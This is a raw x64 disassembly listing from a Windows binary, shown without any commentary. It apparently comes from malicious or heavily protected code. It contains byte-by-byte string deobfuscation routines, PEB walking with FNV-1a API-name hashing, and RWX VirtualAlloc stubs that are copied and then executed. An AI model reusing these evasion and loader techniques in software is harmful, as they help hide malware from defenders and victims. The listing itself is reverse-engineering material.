lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140102d7a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140102b78
mov r10b, r9b
lea ecx, [r10 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x140102d7a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140102b9a
lea ecx, [r9 - 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x41
jmp 0x140102d9d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140102bbc
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x43
jmp 0x140102da0
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140102925
mov r10b, r9b
lea ecx, [r10 + 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
jmp 0x140102cbf
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140102bfc
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x140102a9a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140102c16
mov r10b, r9b
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x140102ac3
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401028ec
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140102a24
mov r10b, r9b
lea edx, [r10 - 0x58]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0x350]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r10b, 0xf
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x69
add r10b, bl
add r10b, r8b
mov byte [rbp + r9 + 0x350], r10b
jmp 0x140102db9
mov r10b, r9b
lea edx, [r10 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x140102cbf
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x27
jmp 0x140102e03
mov r10b, r9b
lea ecx, [r10 - 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x23
sub r10b, 0x7d
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x6b
add r10b, r8b
movzx eax, r10b
mov byte [rbp + r9 + 0x350], al
add r11, rsi
add rax, r11
sub r9, rax
lea edx, [r9 - 0x34]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x350], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140102e03
lea ecx, [r9 + 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x21
jmp 0x140102dd9
lea ecx, [r9 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x1b
jmp 0x140102da0
mov r10b, r9b
lea ecx, [r10 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x17
jmp 0x140102d7a
mov r10b, r9b
lea ecx, [r10 + 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x13
add r10b, 0x5f
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x67
add r10b, r8b
mov byte [rbp + r9 + 0x350], r10b
mov esi, 1
add r11, rsi
sub r9, rsi
jmp 0x140102e12
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
add rdi, r11
jmp 0x140102dd9
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140102e12
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x350]
add rax, r11
add r9, rax
inc r9
jmp 0x1401024d7
sub r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7b
jmp 0x1401024d2
add r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7d
jmp 0x1401024c2
mov eax, dword [rbp + 0x175cc5c]
jmp 0x140102e66
mov eax, dword [rbp + 0x164fea5]
jmp 0x140102e66
mov eax, dword [rbp + 0x350]
mov dword [0x14017bef0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov r8, qword [rdx + 0x10]
mov ecx, dword [r8 + 0x30]
sub ecx, 0x66666667
mov dword [r8 + 0x40], ecx
mov rcx, rax
call fcn.14013c200
lea rbx, [0x1400f17f0]
xor eax, eax
mov qword [rbp - 8], rax
mov dword [rbp - 0x38], eax
mov qword [rbp], rax
lea rax, [0x1401148a4]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp - 0x20], eax
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x1728]
lea rcx, [rsp + 0x60]
call fcn.1400de738
nop
xor edx, edx
mov ecx, edx
mov r14d, 0x1f4
lea rsi, [0x1400dc26c]
lea rdi, [0x140000000]
mov rax, qword [0x14017c010]
test rax, rax
je 0x140102f38
mov r10d, edx
lea r12d, [rdx + 1]
cmp rax, rsi
je 0x140102f27
add ecx, r12d
mov r10d, ecx
mov rax, qword [rdi + rcx*8 + 0x17c010]
test rax, rax
jne 0x140102f0d
jmp 0x140102f38
mov r10, qword [rdi + r10*8 + 0x17c330]
test r10, r10
jne 0x140103022
mov r9d, 0x40
mov r15d, 0x1000
mov r8d, r15d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x140102f64
mov r10d, eax
jmp 0x140102ff9
mov rax, rsi
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140102f73
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017c008]
mov qword [rdi + rax*8 + 0x17c010], rsi
mov qword [rdi + rax*8 + 0x17c330], r10
mov r12d, 1
add rax, r12
mov qword [0x14017c008], rax
jmp 0x140103028
mov r15d, 0x1000
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 8]
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x10]
mov rcx, rbx
call r10
nop
mov rdx, qword [rsp + 0x60]
xor rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rdx
mov qword [0x14017bee0], rax
xor eax, eax
mov qword [rbp + 0x20], rax
mov dword [rbp - 0x34], eax
mov qword [rbp + 0x28], rax
lea rax, [0x1400dfa04]
mov qword [rbp + 0x30], rax
xor eax, eax
mov dword [rbp - 0x30], eax
mov qword [rbp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x1728]
lea rcx, [rsp + 0x60]
call fcn.1400de738
nop
xor edx, edx
mov ecx, edx
mov rax, qword [0x14017c010]
test rax, rax
je 0x1401030ed
mov r10d, edx
cmp rax, rsi
je 0x1401030dc
add ecx, r12d
mov r10d, ecx
mov rax, qword [rdi + rcx*8 + 0x17c010]
test rax, rax
jne 0x1401030c2
jmp 0x1401030ed
mov r10, qword [rdi + r10*8 + 0x17c330]
test r10, r10
jne 0x1401031c9
mov r9d, 0x40
mov r8d, r15d
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
xor eax, eax
test r10, r10
jne 0x140103113
mov r10d, eax
jmp 0x1401031a8
mov rax, rsi
mov rcx, r10
mov edx, 3
lea r8d, [rdx + 0x7d]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140103122
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14017c008]
mov qword [rdi + rax*8 + 0x17c010], rsi
mov qword [rdi + rax*8 + 0x17c330], r10
add rax, r12
mov qword [0x14017c008], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x30]
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x38]
mov rcx, rbx
call r10
nop
mov rdx, qword [rsp + 0x68]
xor rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rdx
mov qword [0x14017bee8], rax
mov byte [0x14017bedc], r12b
xor ebx, ebx
cmp qword [0x14017bee0], rbx
je 0x14010613b
test rax, rax
je 0x14010613b
call fcn.1400ee5e4
test al, al
je 0x140104c38
mov rcx, qword [0x14017bee0]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x14010372f
mov rcx, qword [0x14017bee8]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
test eax, eax
je 0x14010372f
mov r8, qword [0x14017c660]
xor eax, eax
test r8, r8
jne 0x1401033dc
mov esi, eax
mov r14d, 0x6d15bbbd
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401032e2
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401032d4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401032c3
cmp r8d, esi
jne 0x1401033b7
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401033b7
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401033b7
mov ebx, dword [r9 + 0x20]
mov r13d, 1
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010333c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140103331
cmp edx, r14d
je 0x140103352
test r11d, r11d
jne 0x14010331c
jmp 0x1401033b7
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x1401033d5
lea rcx, [r9 + rax]
cmp r8, rcx
jae 0x1401033d5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140103394
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, r13
mov al, byte [r8]
cmp al, 0x2e
jne 0x140103386
jmp 0x1401033aa
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, r13
mov al, byte [r8]
test al, al
jne 0x14010339d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401033d0
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140103297
jmp 0x1401033d2
xor eax, eax
mov r8, rax
mov qword [0x14017c660], r8
xor edx, edx
lea rcx, [0x1400f3370]
call r8
mov r12d, 0xbb21e02e
mov rdx, qword [0x14017c6c0]
xor eax, eax
test rdx, rdx
jne 0x14010355c
mov esi, eax
mov r14d, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140103467
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140103459
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140103448
cmp r8d, esi
jne 0x140103537
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140103537
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140103537
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401034bb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401034b0
cmp edx, r14d
je 0x1401034d1
test r11d, r11d
jne 0x14010349b
jmp 0x140103537
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140103555
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x140103555
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010352b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140103508
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010351e
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140103550
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x14010341c
jmp 0x140103552
xor eax, eax
mov rdx, rax
mov qword [0x14017c6c0], rdx
mov rcx, qword [0x14017bee0]
call rdx
mov rdx, qword [0x14017c6c0]
xor eax, eax
test rdx, rdx
jne 0x1401036d3
mov esi, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401035db
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401035cd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401035bc
cmp r8d, esi
jne 0x1401036ae
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401036ae
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401036ae
mov ebx, dword [r9 + 0x20]
mov r13d, 1
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140103635
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14010362a
cmp edx, r12d
je 0x14010364b
test r11d, r11d
jne 0x140103615
jmp 0x1401036ae
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401036cc
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1401036cc
mov eax, 0x811c9dc5
mov esi, eax
mov r12d, eax
jmp 0x14010368d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010367f
jmp 0x1401036a2
movsx eax, al
xor eax, r12d
imul r12d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140103695
mov rdi, qword [r14]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x1401036c7
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140103590
jmp 0x1401036c9
xor eax, eax
mov rdx, rax
mov qword [0x14017c6c0], rdx
mov rcx, qword [0x14017bee8]
call rdx
mov rcx, qword [0x14017bee0]
call fcn.140138ef8
mov rcx, qword [0x14017bee8]
call fcn.140138ef8
mov rcx, qword [0x14017bee0]
call fcn.140137660
mov rcx, qword [0x14017bee8]
call fcn.140137660
mov rcx, qword [0x14017bee0]
call fcn.1400ed6e4
mov rcx, qword [0x14017bee8]
call fcn.1400ed6e4
mov r13d, 0xcded1a85
jmp 0x1401076a3
mov byte [rbp + 0x390], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x391], xmm0
mov word [rbp + 0x3a1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x13
jae 0x140103f63
movzx r8d, byte [rbp + r9 + 0x390]
mov edx, r8d
cmp rbx, r9
ja 0x140103f5a
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x1401037ae
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x57
jmp 0x1401037e8
je 0x140103f03
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140103eba
lea rax, [r11 + 5]
cmp rbx, rax
je 0x140103e92
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140103e75
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140103e5b
cmp r11, r9
ja 0x140103f51
lea rax, [r11 + 0x28]
cmp rbx, rax
jae 0x140103811
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x140103852
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140103e25
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140103e0e
lea rax, [r11 + 6]
cmp rbx, rax
je 0x140103df4
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140103dac
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140103d92
lea rax, [r11 + rbx]
cmp rax, r9
jbe 0x140103ae1
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x140103ac4
lea rax, [r11 + 9]
cmp rbx, rax
je 0x140103aaa
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x140103a90
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140103a73
lea rax, [r11 + 0x10]
cmp rbx, rax
je 0x14010385f
mov rbx, rax
lea r11, [rax + 0x10]
lea rax, [r11 + 0x400]
cmp rbx, rax
jb 0x140103f35
lea rax, [r11 + 3]
cmp rbx, rax
jb 0x140103927
lea rax, [r11 + 0x28]
cmp rbx, rax
jb 0x1401039d2
lea rax, [r11 + 0x61]
cmp rbx, rax
jb 0x1401039b0
mov rbx, rax
lea r11, [rax + 5]
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x140103992
lea rax, [r11 + 0x42]
cmp rbx, rax
ja 0x140103975
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x14010395b
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x140103941
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x14010385f
mov rbx, rax
lea r11, [rax + 0x80]
jmp 0x14010385f
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x1401037e8
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140103e70
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140103ea7
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r10b, r9b
jmp 0x140103dc4
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103f1e
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x390], dil
jmp 0x140103f2d
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r11 + rbx]
cmp rax, 0xa
je 0x140103d70
lea rax, [r11 + 0xa]
cmp rbx, rax
jbe 0x140103bcb
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, r15
jae 0x140103d27
lea rax, [r11 + 0x1000]
cmp rbx, rax
jbe 0x140103c64
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r11, 6
jb 0x1401039c5
mov r10b, r9b
lea ecx, [r10 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x140103e3d
mov r10b, r9b
lea ecx, [r10 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140103dc4
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140103ea7
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140103e70
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r10b, r9b
jmp 0x140103e3d
lea rax, [r11 + 0x41]
cmp rbx, rax
jae 0x140103b04
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x1401039e7
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140103b27
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x140103f1e
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140103b4e
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103ed5
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140103b78
mov r10b, r9b
lea edx, [r10 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103dc4
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140103b9d
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103ea7
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1401039e7
mov r10b, r9b
lea edx, [r10 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103e3d
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140103bf1
mov r10b, r9b
lea ecx, [r10 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x140103e3d
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140103c14
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x140103e8a
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140103c3a
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r10b, r9b
jmp 0x140103d4a
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140103a17
mov r10b, r9b
lea ecx, [r10 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x140103dc4
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140103c7b
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14010399b
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140103c95
mov r10b, r9b
lea edx, [r10 - 0x28]
mov ecx, ntohs
jmp 0x140103b63
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140103cb8
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140103ea7
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140103cd9
mov r10b, r9b
lea edx, [r10 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140103d44
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140103d00
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140103e8a
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x140103a49
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x140103e70
mov r10b, r9b
lea edx, [r10 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x390]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r10b, 0x19
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x51
add r10b, dil
add r10b, r8b
mov byte [rbp + r9 + 0x390], r10b
